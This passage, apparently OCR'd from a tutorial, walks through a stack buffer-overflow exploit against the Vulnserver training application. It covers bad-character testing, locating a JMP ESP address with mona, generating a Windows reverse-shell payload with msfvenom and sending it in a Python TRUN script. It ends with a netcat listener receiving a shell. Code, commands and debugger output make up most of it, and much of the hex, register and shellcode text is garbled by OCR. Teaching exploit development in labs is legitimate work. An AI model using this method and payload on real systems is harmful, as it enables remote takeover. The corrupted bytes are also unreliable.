"\ X80\ X81\x82\x83\ x84\ x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8T\Xx90\ X1\ Xx92\ X923\ X994\ XI5\ X996\ Xx97\x98\ x99\ x9a\ x9b\ x9
"\xa0\xal\xa2\xa3\xad\xa5\xab6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xbO\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xb
"AXCONXCINXC2\XC3\ X4\ XC5\XxCcH\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcTAxdO\xd 1\ xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\ xd
"\xe0\xel\xe2\xe3\xe4\xe5\xeb\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xeF\XFOANXTI\XF2\x T3\ X T4\ x F5\XxTONXT7\x T8\ xTO\xFa\xFTb\xf

shellcode = "A" * 2003 + "B" ¥ 4 + badchars

try:

except:

o un v

socket.socket(socket.AF_INET, socket.SOCK_STREAM)

.connect(('10.10.10.4"',9999))
.send(('TRUN /.:/' + shellcode))
.close()

print "Error connecting to server"
sys.exit()



So, basically our python script will run every character listed below one by one, and our

job here is to examine the hex dump and take notes of any misplaced characters.

A\xO0T\x02\ x03\x04\ x05\x06\x07\x08\ x09\x0a\ x0b\x0c\x0d\ x0e\ O\ 510\ xT T\ x
2T 3\ T\ x 15\ 16\ T 7\xx T8\ T I\ xcT a\xcT b\ xcT \ocT d\ T e\xcT\x20\x21\x22\x2 3\ x2
A\x25\x26\x27\x28\x29\ x2a\ x 20\ x2c\x2d\x2e\x2\x30\ 531\ x32\x33\ 534\ x 35\ 53
6\x37\x38\x39\x3a\x3b\x3c\>c3d\>3e\x 3\ x40\ x4 1\ o4 2\ x4 3\ 5c4 4\ 545\ x4 6\ x4 7\ x4
E\xcd I\ x4 a\ x4 b\ x4\ scdd\xcde\ AN\ x50\ x5 T\ x5 2\ x5 3\ 54\ x5 5\ x5 6\ o5 7\ x5 8\ x5 9\ o5
a\x5b\oc5c\x5d\x5e\ x5\ 60\ x6 1\ x62\x6 3\ x64\x65\x66\x67\x68\x69\x6a\x6b\x6¢
\x6A\x6e\xO\x70\x7T\x72\x7 3\ 74\ 75\ 76 \x7 7\xx78\ 57 I\x7a\x7 b\x7c\>c7d\x 7 e
\x7AXE0\XE T\ x82\ x8 3\ xE4\x8E5\ x86\ 58 7\ xEE\x8 I\ 58 a\ 8D\ 58\ x8d\x8e\x8\x90
\x9 T\ x9I2\ x93\ x94\ 595\ x96\x97\ 98\ x99I\ x9a\x9b\x9c\x9d\x9e\x I\ xa0\ xal\xa2
\xa3\xad\xa5\xa6\xa7\xa8\xa9\ xaa\xab\xac\xad\xae\xaf\>xbO\>xb1\>xb2\>xh3\ b4\
b5\ xb6\xh7\xb8\xb9\xba\>chb\ xbc\>chd\ xcbe\ xbf\xcO\ccT\xe2\xe 3\ xeed \xe5\ xc6 \ xe7 \xc
E\xe9\occa\xceh\ xece\xced\xece \scg \xd0\xd 1\ xd2\ xd 3\ xd4 \ xd5\ xd6 \ xd7 \ xd8\ xd9\ xcda\ xdb
\oxde\ocdd\ xede\ xdf\xe0\xeT\xe2\xe3\ xed \xe5\xe6 \xe7 \xe§ \xe9\ xea\xeb\xec\xced\ xcee\ xef
\ofO\oef T\ o2\ o3\ o\ x5 \xef6 \ x£ 7\ /8 \ /9 \ xcfa \ b\ e \ xcfd\ e \ ).

To examine the hex dump, after the crash occurs, right-click on the “ESP,” and from
the drop-down menu, select “Follow in Dump.” It will dump and display all hex characters

that we send with our python script.



B iy, Consutivg SenvcesManoger
| Registers (FPU) < < < < < < < <

EAX B16EF2080 ASCII "TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 863C5830
EDX

Plus
Decrement Minus
Zero
Setto 1
Modify
Copy selection to dipboard
Copy all registers to dipboard

View MMX registers

View 3DMNow! registers
000106244

empty g
empty g
empty g
=l

4| 840302061
616EF9E4 08070605
816EF9ES  BCOBOA DY
616EF9EC 1 00F BE 6D

View debug registers

Appearance

Now we see a much longer “bad chars” string on the stack. It is anything but difficult to
take an easy route and look down and check whether the “\x/”’ character is there and
expect that there is no other corruption. In this example, every corrupt byte terminated
the “bad chars” string, but that is not always the case. Sometimes when you try to build
new exploits, you will experience circumstances where a single character corrupts, but
the remainder of the “bad chars” string prints etficaciously. In this situation, cautiously
looking at the bytes on the stack individually to the “bad chars” string 1s the best way to
check that there are no more bad characters. Unfortunately, it 1s a very tedious process,

and 1t’s easy to make mistakes.



Address |Hex dump LI Pal]ARdas] 064030201

O16EF9EB O16EF9E4 08070605

O16EF9ES o ud. - JEY O16EF9E8 OCOBOAGY ..5.

016EF9F 0 n B16EF9EC 100FBEGD .

O16EF9F8 i O16EF9FO 14131211

B16EFABO y O16EF9F4 18171615

B16EFA B8 *'T...R. 816EF9F8 1C1B1A19

B16EFA18 » O16EF9FC OO1F1E1D .

B16EFA18 e...f 016EFAGG 00000379

816EFA20 e A O16EFABY 00000042

016EFA28 [t} O16EFAG8 00542108

016EFA30 816EFABC 00520000

816EFA38 1! O16EFA10 OO542FEQ

B16EFA408 A  walk 616EFA14 003C3200 .

B16EFA4S8 .aymm'R. 016EFA18 00006060 ....

B16EFASHO ..R.P R 816EFA1C 77015BC3 tRETURN to ntd
B16EFAS8 N....2<. 816EFA208 000006600 ....

816EFAGH °(R.N... 016EFA24 00000199 &

G16EFAGS 016EFA28 B16EFB14 qin

016EFA70 016EFA2C ©O3C48308 BH<. ASCII "TRUN /
016EFA78 2 5 O16EFA30 00000042 B...

B16EFA8HO : v O16EFA34 77016797 Bg ' RETURN to ntd
B16EFASS oo O16EFA38 00542110 }!T.

B16EFA908 o v O16EFA3C 00006666 ....

B16EFA98 ¥ 816EFA48 770615BC3 A[ 1 RETURN to ntd
016EFAAG 016EFA44 766BFBOE flkv

O16EFAAS 2 5 016EFA48 7FFDEBOO .ayH

016EFABO & O16EFA4C 06520394 E'R.

816EFABS % O16EFAS6 06520000 ..R.

B16EFACH ije. . 5 816EFAS4 00520158 P R

B16EFACS .uA. O16EFAS8 0OO00007F N...

B16EFADB 016EFASC 063C3200 .2<.

B16EFADS e LY 816EFA68 B865228B68 °(R.

016EFAED *T. 42T, O16EFAG4 OOOOO67F ...

O16EFAES ' B16EFA68 BB5228FC ii(R.

016EFAFO 1 O16EFAGC 00000044 D...

O16EFAF8 5 11 O16EFA70 00000199 B .
B16EFBOO 01< . xii B16EFA74 00000000 ....
B16EFB B8 Ay 5 816EFA78 0085228B8 °(R.
B16EFB18 O16EFA7C 0006615B [ .
B16EFB18 X O16EFA8G 00542110 }!T.
016EFB20 X O016EFASA 0828008002 . .4
RLGEER22 02 241 8668661DB U .

6 — Finding the right module

When we talk about finding the correct module, what we are stating is — we are
searching for a “@//”file or something comparable within the program that has no
memory protection. Even though there’s no real way to utilize an application for critical
thinking, we can use the ‘“Mona.py” module to automate these annoying byte-by-byte
comparisons for Immunity Debugger. You can download the “Mona.py” file from the

)

following GitHub page: ‘b#tps:/ [ github.com/ corelan/ mona.’

Extract the file and copy “Mona.py” to “C:\Program  Files\Immunity — Inc\Immunity
Debugger\ PyCommands.” foldet.


https://github.com/corelan/mona

O Why GitHub? v Enterprise Explore v Marketplace Pricing Search

@Qvl . « Program Files » ImmunityInc » Immunity Debugger » PyCommands » v |¢7 | | Search PyCommands b e ]
& corelan / — brk
Organize v @ Open ¥ New folder =~ 0 @
¢» Code 7 Favorites ok N ; e e - . i
BT Desktop © mark.py 11/16/2010 2:39 P Pythen File 5KB
4 Downloads @ mike.py 2/28/20111:04 P Python File 35 KB
%=1 Recent Places © modptr.py 2/28/20111:04 PM  Python File 4 KB o
€ mona.py 6/3/2019 6:09 AM Pythen File 622 KB Psthis
7 Libraries 1® nohooks.py 1171642010 2:33 PM Pythen File 1KB
Documents 1.2 openfile.py 11/16/2010 2:39 PM Python File 1KB
' Music . packets.py 11/16/2010 2:33 PM  Python File 11 KB
[=] Pictures e pyexec.py 2/28/20111:04 PM  Python File 1KB
4 Videos @ recognize.py 11/16/2010 .33 P Pythen File 9KB
. safeseh.py 2/28/2011 1:04 PM Pythen File 4 KB
1% Computer . scanpe.py 11/16/2010 2:39 PM  Python File KB
Corelan Repq &, Windows 7 (C) @ search.py 2/28/20111:04 PM  Python File 1KB
@ searchcode.py 11/16/2010 2:39 PM  Pythen File 1KB

After copying the file into the “PyCommands” folder, you can invoke it and list all
modules in the Immunity Debugger. Before listing the modules, make sure
that “pulnserver”is running and attached to the debugger. Then, from the Immunity

Debugger using the search field type “Vmona modules” and hit “Enter.”

804063000 06 817CFFC8
80403008 00 817CFFCC
004036ED 00 817CFFDB
004030ES 00 817CFFD4
004036F0 00 817CFFD8
004030F8 00 817CFFDC
00403100 00 817CFFEB
00403108 00 817CFFE4
004063110 00 817CFFES8
80403118 00 817CFFEC
00403120 00 817CFFF B
00403128 00 817CFFF4
00403130 00 817CFFF8
00403138 00 817CFFFC

06403140 66
_06L021h8 00

!Imona modules

[Run program <F9)

It will display all modules with their protection settings. Here we need to look for a file
that 1s attached to “vulnserver” and has all protection settings as “False.” In this example,

we found “essfunc.dl]” that has everything set to false.



********** Mona command started on 2626-03-12 88:37:04 (v2.8, rev 688)
[+] Processing arguments and criteria

- Pointer access level : X
[+] Generating module info table, hang on...

- Processing modules

- Done. Let's rock 'n roll.

Module info

ASLR | NXCompat | 0S D11

6.1.7601.23930 [LPK.d11l] (C
—— - AL I B
[BXGZSUUBBB | 8x62568088 | 06x0000888868 | False & 3 ESSFunc.dll)I
UA7U05 0000 URIU4I000Y | UAUDOCUOOG | True I i LA [rae Y- 10965 L Iy [Sravl

7
8x75656008 B8x75089b 600 8x6004b60BO True g ] i i 6.1.7601.18615 [KERNELBASE.d11] {(C:\Windows\system32\KERNELBASE.d11)

0x74850000 08x7488c000 6x0603c086 | True ] 4 7 7 6.1.7680.16385 [mswsock.dll] (C:\Windows\system32\mswsock.dll)

8276450060 Bx764ed 060 8x00609d060 True g g g g 1.0626.7601.23894 [USP16.d11] (C:\Windows\system32\USP168.d11)

87520000 8x75f6e000 0x0004e 000 True 7 7 7 7 6.1.7601.23914 [GDI32.d11] (C:\Windows\system32\GDI32.d11l)

60046000060 6280467000 620800087060 False -1.06- [vulnserver.exe] (C:\Users\IEUser\Desktop\uvulnserveri\vulnserver.exe)
6x76b206860 8x76bf5080 6x0860d5080 True
82765400860 8x765ec880 B8xB860ac880 True
074350000 8274355000 62080085000 True
8x77166000 8x772620600 8x000a2000 True
8x76fc008060 8277162000 6200142000 True
8x765f 0000 8276625000 6200035000 True
8x75e500800 8x75F1908060 6x860c92000
076430000 Bx7644£000 6x00601f000

-1.7601.18015 [Kkernel32.d11] (C:\Windows\system32\kernel32.d11l)
.8.7601.17744 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll)
-1.7600.16385 [wshtcpip.dll] (C:\Windows\System32\ushtcpip.dll)
.1.76080.16385 [RPCRT4.d11] {(C:\Windows\system32\RPCRT4.d11)
-1.7600.16385 [ntdll.d11] (C:\Windows\SYSTEM32\ntdll.d11)
.1.7600.16385 [WS2_32.DLL] (C:\Windows\system32\WS2_32.DLL)
-1.7601.17514 [user32.d11l] (C:\Windows\system32\user32.d1l)
.1.7681.17514 [IMM32.DLL] (C:\Windows\system32\IMM32.DLL)

OO O OO O O

+] This mona. action took 0:80:81.161688

Next, we should find an opcode equivalent of a “JMP” (jump command). To do that, we

need to use “nasm_shell.rb” script from the Kali Linux terminal.

to find the path locate nasmi_shell.rb

Ex: (root@kali:~1/ usr/ share/ metasploit-framewortk/ tools/ exploit/ nasni_shell.rb).

Here we are trying to convert assembly language into the hex code and find equivalent
code for jump command “‘JMP ESP.” “IMP ESP” instruction, it lets us control program
execution through “EIP”and land in our user-controlled space that will contain our
shellcode. Type “IMP ESP”in the “nasm_shell” and hit “Enter.” Then note the hex code
for jump command, which is “FFE4".

root@root:~# /usr/share/metasploit-framework/tools/exploit/nasm shell.rb
nasm > JMP ESP

00000000 FFE4 jmp esp

nasm > [

Now, we need to use this information (FFFE4) with Mona to find the return address for
the jump command using (essfunc.dll) module. To do that, type “wona find -s “\ff\xe4”

- essfune.dll” in the Immunity Debugger’s search field.



8BADF 66D
8BADF 66D
O8BADF 66D
OBADF 66D
O6BADF 66D
OBBADF 66D
OBADF 66D
8BADF 66D
8BADF 66D
625011AF
625811BB
625811C7
625811D3
625611DF
625011EB
625011F7
625012063
62501265

- Processing modules

- Done.

Let's rock

‘n roll.

- Treating search pattern as bin

[+] Searching from 8x62500888 to 0x62568000
[+] Preparing output file ‘find.txt’

- (Re)setting logfile find.txt

[+] Writing results to find.txt

- Number of pointers of type ""\xffixey"' :

+ e

e
v..- c...;u.-.w-\__-

( Bx625811a

T URUTTTTEh
Bx625011c7
0x625011d3
Bx625011df
Bx625011eb
Bx625011F7
Bx62501203
0x62501205

£):

"\ xffixely"
"\ xXffixey"
"\ xXffixel"
"\ xXffixey"
"\ Xffixey"
"\ xXffixely"
"\ xffixey"
"\ xffixey"

{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}
{PAGE_EXECUTE_READ}

[essfunc.dll]
[essfunc.dll]
[essfunc.dll]
[essfunc.dll]
[essfunc.dll]
[essfunc.dll]
[essfunc.dll]

ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:
ASLR:

False,
False,
False,
False,
False,
False,
False,

Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:
Rebase:

ascii {PAGE_EXECUTE_READ} [essfunc.dl1l] ASLR: False, Reba

Reba

"\xffixe4"” |
Found a total of 9 pointers

ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False,
OBADF 66D
O8BADF 66D

_action took 0:08:61.122068

Imona find -s "{xffixed" -m essfunc.dll

When you hit “Enter,” it will display the return addresses. We need to take notes and
write down one of the addresses so we can use it later on in our python script. Here, in

this example, we will note the first address, which is “625077af”.

Now, we can modify our python script and add the return address that we noted in the
reverse order (“\xaf\x77\x50\x62") after we specify (““4”* 2003) buffer characters.

Open v A *Fuzzingl.py

#!/usr/bin/python
import sys, socket

shellcode

“A" ¥ 2003 + "\xaf\x11\x50\x62"|
try:

= socket.socket(socket.AF_INET,
.connect(('10.10.10.4"',9999))
.send(('TRUN /.:/' + shellcode))
.close()

socket.SOCK_STREAM)

n v unun

except:
print "Error connecting to server"
sys.exit()

With the memory address of “JMP ESP”added to our script after the 2003 bytes of
initial buffer, we can overwrite the “EIP.” Before we run this script, let’s set a break-

point at the “/MP ESP” instruction, so we may step through the instructions manually



after we send in our input. To do so, click on the blue arrow icon in the debugger and

type the return address value that we noted before.

_ File Vie Debug Plugins I “': ‘, e, Help  Jobs
5% O WX b 0l w9 SRE] 7t Consutting Sen

T3 2 3] 064A 51 ADD BYTE PTR DS:[EDX+51],CL
016FFOE3 ©OAG 365100B8  ADD BYTE PTR DS:[EAX+B80O5136],AH
016FF9E9 0BOB OR EAX,DUORD PTR DS:[EAX]
816FF9EB 0008 0

816FF9ED 0808
816FF9EF 0808
816FF9F1 0008
816FF9F3 0008
816FF9F5 0008

016FFOF7 0008 0K_|_Cancel |
816FF9F9 ngg DTYTIC In UQ-lc“l\J sHL

816FF9FB 0808 BYTE PTR DS:[EAX].AL

816FF9FD 0808 BYTE PTR DS:[EAX],AL

816FF9FF 8829 BYTE PTR DS:[ECX],CH

816FFAB1 0308 EAX,DWORD PTR DS:[EAX]

816FFAB3 0842 09 BYTE PTR DS:[EDX],AL

816FFAG6 0008 BYTE PTR DS:[EAX].AL

016FFAGS 8023 2F BYTE PTR DS:[EBX],2F

016FFAGE 0008 BYTE PTR DS:[EAX].AL

816FFABD 082D BBEB2F2F BYTE PTR DS:[2F2FEB08],CH

816FFA13 0888 34510008 BYTE PTR DS:[EAX+5134],AL

816FFA19 0808 BYTE PTR DS:[EAX],AL

816FFA1B  80C3 BL,AL

816FFA1D 5B EBX

816FFA1E 8177 DWORD PTR DS:[EDI],ESI

816FFA21 0008 BYTE PTR DS:[EAX],AL

Once you hit the “OK” button, it will locate that particular jump code and display it on
top of the screen. To set the break-point, highlight the address and hit “F2” or double

click the hex value of the address.

. F|Ie View Debug Plugins ImmLib Ophons Window Help Jobs

emtwh c Pk bz r .. s 7 I

e e e e e e e e

'6‘25911,“ FF * ES ~| Registers (FPU)

oZ50TIBT FFES e EAX 016FF288 ASCII "TRUN /.:/
625011B3 PUP EAX ECX 0808515294

625011B4 POP En\ EDX 060000000

625011B5 EBX 000800658
625011B6 Pl]P EBP ESP B16FF9ED

62501187 EBP 41414141
625811B8 PUSH EBP ESI 00000080

6250611B9 MHOU EBP,ESP EDI 0666800686

625611BB JUP ESP

625011BF POP EBX C 8 ES 8023 32bit O(FFFFFFFF
625611C0  5SE POP EBX P 1 CS 001B 32bit O(FFFFFFFF

After everything is set, run the python script and analyze the changes.



IFiIe View Debug Plugins ImmlLib Options Window Help Jobs

S X UM alal ] em twh c Pk bz 1 s 7

. BB394FE
EDX BEa
Z BBB0E6S
FIEQ

141

P ¥

POP EBX 3 :
ETH . FFFFFFFF)
IFJ%E'”EE‘F’ a S FFFFFFFF)
RETN _ 4 it B(FFFFFFFF)
PUSH_EEP S@ it 7FFDE@0A(FFF)

MOU EBP, ESP : 6086 NULL

e Eo 0 & LastErr ERROR_SUCCESS (0000000@)
POP EEP EFL 99800246 (NO,NE,E,BE,NS, PE, GE, LE)
POP EBP

RETN

POP EBP
RETN

PUSH _EBP
MOV EBP,ESP
JMP ESP
JMP EDI

POP EBX
POP EBX

: 3218 ESPUDZ
FST G088 Cond 8 8 6 6 Err 8000040
So, what happened here is the program had stopped when we reached our break-point,
and the “EIP”has been overwritten with the value we specified in our python script. It
means that we have full control over the “EIP”and can run any shellcode to

compromise our target machine.

7 — Generating shellcode and gaining access

At this stage of the exploit development process, it 1s time to generate the shellcode. In
this example, we will use msfvenom to create a reverse shell payload. Msfvenom is the
combination of payload generation and encoding. To create the shellcode we need to
execute the following command: (root@kali:~# wmsfvenom — platform Windows -p
windows/ shell_reverse_tcp I.HOST=10.10.10.15 .PORT=4444 EXITFUNC=thread -f ¢ -a
x86 -b “\x00”). Let’s break it down and analyze the command. First, we invoked the
tool and then specified the payload for the Windows operating system
(windows/ shell _reverse_tcp) by using the “p” operator. Next, we provided the attacker
machine’s IP address (ILHOST) and the port number (I.LPORT) to listen on for incoming
connection. Then we used the “EXITFUNC=thread” command to make the exploit a
little bit more stable (this is optional). We wanted to export everything into the C file
type, so we specified the “f” operator. Next, we provided the architecture “a x86” of

the target machine and a bad character using the “4” option.



root@root:~# msfvenom --platform Windows -p windows/shell reverse tcp LHOST=10.10.10.15 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

Found 11 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351

Payload size: 351 bytes

Final size of c file: 1500 bytes

unsigned char buf[] =
"\xda\xc4\xd9\x74\x24\xF4\x58\xbe\xc3\x6F\x27\x34\x33\xc9\xb1"
"\x52\x83\xe8\xfc\x31\x70\x13\x03\xb3\x7c\xc5\xc1\xcf\x6b\x8b"
"\x2a\x2f\x6c\xec\xa3\xca\x5d\x2c\xd7\x9f\xce\x9c\x93\xcd\xe2"
"\x57\xf1\xe5\x71\x15\xde\x0a\x31\x90\x38\x25\xc2\x89\x79\x24"
"\x40\xd0\xad\x86\x79\x1b\xa0\xc7\xbe\x46\x49\x95\x17\x0c\xfc"
BV CEAVEEAVGEAVEL AV EPAV (I AV CIAVE AV G VAV EFAV R AV G AV (d AV E RAVE{
"\xa6\xe9\x90\x42\xef\xf1\xf5\x6f\xb9\x8a\xce\x04\x38\x5a\x1f"
"\xed4\x97\xa3\xaf\x17\xe9\xe4\x08\xc8\x9c\x1c\x6b\x75\xa7\xdb"
"\Xx11\xal\x22\xff\xb2\x22\x94\xdb\x43\xe6\x43\xa8\x48\x43\x07"
"\xf6\x4c\x52\xc4\x8d\x69\xd F\xeb\x41\xF8\x9b\xcf\x45\xa0\x78"
"\x71\xdc\x0c\x2e\x8e\x3e\xef\x8f\x2a\x35\x02\xdb\x46\x14\x4b"
"\x28\x6b\xa6\x8b\x26\xfc\xd5\xb9\xe9\x56\x71\xF2\x62\x71\x86"
"\xT5\x58\xc5\x18\x08\x63\x36\x31\xcf\x37\x66\x29\xe6\x37\xed"
BV ELAVEAVEVAVEPAVS AV EVAVE LAV CEAVE AV C AV CIAVE AVEEAV: VAV O I
"\x0b\xcc\x4d\x1a\xab6\x37\x06\x2f\x3d\x3d\xd9\x47\x43\x41\xf4"
"\xcb\xca\xa7\x9c\xe3\x9a\x70\x09\x9d\x86\x0a\xa8\x62\x1d\x77"
"\xea\xe9\x92\x88\xa5\x19\xde\x9a\x52\xea\x95\xcO\xF5\xf5\x03"
"\x6c\x99\x64\xc8\x6c\xd4\x94\x47\x3b\xb1\x6b\x9e\xa9\x2f\xd5"

Paste

[ Read-Only

"\x08\xcf\xad\x83\x73\x4b\x6a\x70\x7d\x52\xff\xcc\x59\x44\x39"

Once you hit “Enter,” it will generate a payload. We need to copy and use it in our

python script.

Open up the python script with any text editor and declare a variable like “overflow” or

anything you like, and then paste the payload.

Next, we have to add this variable of payload into the “shelleode” variable by providing a

few (“\x90” no operation) paddings.

Ex: (shellcode = “A” * 2003 + \xaf\xT1\x50\x62" + “\x90” * 32 + overflow).

We use this type of padding to make sure that nothing 1s interfering between the jump

command and our payload.



Open v+ A
#! /usr/bin/python

import sys, socket

overflow =
"\xb8\x7b\ x93\ x7a\x2d\ xdb\xce\xd9\x74\ x24\ x T4\ x5d\ x29\ xc\ xbI\ x52\ x83\ xCc5\ x04\ x31\ x45\ x0e\ x03\ x3e\ X

shellcode = "A" ¥ 2003 + "\xaf\xL1\x50\x62" + "\x90" * 42 + overflow

try:
s = socket.socket(socket.AF _INET, socket.SOCK STREAM)
s.connect(('10.10.10.4"',9999))
s.send(('TRUN /.:/' + shellcode))
s.close()
except:

print "Error connecting to server"
sys.exit()

After everything is complete, save the script and run it against the target machine.

Before executing the script, make sure that the “wuluserver” software is running as

administrator on the target machine.

@Qvl . » IEUser » Downloads » Vulnserver » v |it | |;§Es_’r':£l'girls_s
Organize v Open Share with + New folder 3=
5% Favorites Name g Date modified Type Size

EZ Desktop . Source 9/5/2019 8:37 Al File folder

4 Downloads (%] essfunc.dll 11/19/2010 548 Pl Application extens...
%=1 Recent Places || UCENSETXT 111972010 546 PIM Text Document
|| README.TXT 1171972010 5:46 PM Text Document

2 Libraries ] vulnserver.exe PPN TV T T

@ Documents vulnsenver.zip 2ps -

=) Pictures roubleshoot compatibility

E Videos Share with »

Add to archive...

1M Computer [ T DR BN P

Finally, we can start a netcat listener to capture the reverse shell connection, and send

our exploit buffer to the application by executing the python script we created.



Ex: (root@kali:~# nc -nvlp 4444).

root@root:~# nc -nlvp 4444

listening on [any] 4444 ...

connect to [10.10.10.15] from (UNKNOWN) [10.10.10.4] 49483
Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop\vulnserver>whoami

whoami

iewin7\ieuser

C:\Users\IEUser\Desktop\vulnserver>dir

dir

Volume in drive C is Windows 7
Volume Serial Number is 3C9E-098B

Directory of C:\Users\IEUser\Desktop\vulnserver

03/12/2020
03/12/2020
11/19/2010
11/19/2010
11/19/2010
03/12/2020
11/19/2010

10:
10:
85:
05:
05:
04:
07:

29
29
46
46
46
39
57

4 File(s)
3 Dir(s)

AM
AM
PM
PM
PM
AM
PM

<DIR>
<DIR> o
16,601 essfunc.dll
1,501 LICENSE.TXT
3,255 README.TXT
<DIR> Source
29,624 vulnserver.exe
50,981 bytes
24,990,904,320 bytes free

C:\Users\IEUser\Desktop\vulnserver>j]

As you can see in the screenshot above, once the python script is executed, you will

receive the reverse shell connection and will have full control over the target machine.



